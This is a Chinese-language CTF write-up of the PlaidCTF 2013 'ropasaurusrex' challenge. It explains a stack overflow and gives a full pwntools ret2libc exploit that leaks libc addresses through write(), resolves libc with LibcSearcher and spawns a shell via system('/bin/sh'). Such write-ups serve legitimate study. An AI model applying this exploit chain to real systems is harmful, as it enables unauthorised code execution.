0%

2013-PlaidCTF-ropasaurusrex WP

跟随CTF-WIKI进行一个pwn的学

首先对二进制文件进行分析

32位i386小端序,开启了栈不可执行保护,符号表还被stripped了

Untitled

直接扔进 IDA 看一眼,整体十分地简洁

Untitled

点开 sub_80483F4(),其中给 buf 分配了136的空间,读长度是256,存在栈溢出的可能

Untitled

可执行文件中没有 system() 函数地址,考虑使用 ret2libc,先将 libc 中符号地址泄露出来,再通过 libc search 查找相应的动态链接库。

可供对比地址查找的函数:__libc_start_main(),write(),read()

之后的问题是,如何将函数地址输出?答案是使用 write() 函数。

根据 ChatGPT(大嘘)和 Compile Explorer,使用 write() 向 stdout 输出的结构是这样的。当第一个参数设置为1时, write() 会向 stdout 写入,后面分别是消息与消息长度

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from LibcSearcher import LibcSearcher

#sh = gdb.debug("./ropasaurusrex")
sh = process("./ropasaurusrex")
r = ELF("./ropasaurusrex")

write_plt = r.plt['write']
libc_start_main_got = r.got['__libc_start_main']
#main = r.symbols['main']

payload = flat(['b'*140,write_plt,'a'*4,p32(1),libc_start_main_got,p32(20)])
print(payload)
print(hex(write_plt),hex(libc_start_main_got))
sh.sendline(payload)
libc_start_main_addr = u32(sh.recv()[0:4])
print(hex(libc_start_main_addr))

运行后结果如下,0xf7d0cde0 是 __libc_start_main 的地址

Untitled

payload 这么构造会导致一个问题,如下图所示

Untitled

write() 函数执行完成后,ret 时 $esp 指向 aaaa,即 payload 中第三项的值,那么,要返回什么呢?尝试一下返回 main 的符号?然而并没有 main

Untitled

还记得上文说的函数 sub_80483F4() 吗?我们可以尝试返回它的地址,之后程序可以重复执行。

完整 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import LibcSearcher

sh = gdb.debug("./ropasaurusrex")
#sh = process("./ropasaurusrex")
r = ELF("./ropasaurusrex")

write_plt = r.plt['write']
libc_start_main_got = r.got['__libc_start_main']
read_got = r.got['read']

#获取 __libc_start_main 的地址
payload = flat(['b'*140,write_plt,p32(0x80483F4),p32(1),libc_start_main_got,p32(20)])
sh.sendline(payload)
libc_start_main_addr = u32(sh.recv()[0:4])

#获取 read 的地址
payload = flat(['b'*140,write_plt,p32(0x80483F4),p32(1),read_got,p32(20)])
sh.sendline(payload)
read_addr = u32(sh.recv()[0:4])

#通过 __libc_start_main 和 read 的地址查找相应动态链接库
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libc.add_condition("read", read_addr)

# 计算基地址和偏移地址
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

#构造system('/bin/sh/')
payload = flat(['b' * 140, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()

Untitled